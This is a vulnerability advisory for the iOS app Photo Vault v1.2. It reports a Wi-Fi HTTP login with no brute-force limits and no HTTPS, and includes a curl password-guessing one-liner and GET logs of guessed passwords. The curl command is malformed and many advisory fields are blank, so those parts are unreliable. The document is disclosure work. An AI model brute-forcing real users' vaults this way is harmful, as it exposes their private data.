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[FD] Photo Vault v1.2 iOS - Insecure Authentication Vulnerability

Document Title:
Photo Vault v1.2 iOS - Insecure Authentication Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Insecure Storage of Sensitive Information

Current Estimated Price:
1.000€ - 2.000€

Product & Service Introduction:

Abstract Advisory Information:
The vulnerability labortory core research team discovered a insecure authentication issue in the official 

Vulnerability Disclosure Timeline:
2018-01-16: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Product: Photo Vault - Mobile (Web-Application) 1.2

Exploitation Technique:

Severity Level:

Technical Details & Description:
An insecure configuration vulnerability has been discovered in the official iOS mobile Photo Vault v1.2 iOS web-application.

The vulnerability is located in the login mechanism and password request communication. In case of the activated wifi 
in the app it is possible to remotly access (http-server) the protected vault by a password. The password request is a 
simple less protected attempt to the login.html file with `_` to split between the password and file. There is no 
request limitation to block automated attacks. 

Attackers can perform fast enumerate the password by simply audits against the http basic authentication mechanism. 
Remote attackers can use an automated dictionary attack or compromise by manual basic http bruteforce attack via curl, 
nmap or http-brute. Attackers can fast gain unauthorized access the private vault over the activated wifi web-application 
in the same network. A second minor problem is that there is no https protocol activated for the wifi http-server 
communication in the network. Taken together, these two problems pose a significant risk to users and individuals,
based on sensitive information stored in the vault of the mobile iOS application.

The security risk of the insecure authentication configuration vulnerability is estimated as medium with a cvss count of 4.8. 
Exploitation of the vulnerability requires network access to connect to the web-server via wifi without user interaction. 
Successful exploitation of the vulnerability results in unauthorized access to private vault data or sensitive information.

Proof of Concept (PoC):
The security issue can be exploited by remote attackers without privileged user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below.

http_code=$(curl -L -data password="passwdords.txt" "$url http://Localhost:9900/login.html__"; -w '%{http_code}' -o /root/fuzztime -s) #forensic

--- PoC Session Logs [GET] ---
GET http://localhost:9900/login.html
Host: Localhost:9900
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://Localhost:9900/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Date: Sat, 06 Jan 2018 15:06:20 GMT
Accept-Ranges: bytes
Transfer-Encoding: chunked
Note: Requests first the login page
GET http://localhost:9900/login.html__passwd1
Host: Localhost:9900
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:9900/login.html
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Date: Sat, 06 Jan 2018 15:06:26 GMT
Accept-Ranges: bytes
Transfer-Encoding: chunked

Note: Access to vault of ios mobile application was cracked in a forensic access test within 15 minutes.


Security Risk:
The security risk of the vulnerability in the mobile vault application is eastimated as medium (CVSS 4.8).

Credits & Authors:
Benjamin K.M. [bkm AT vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.

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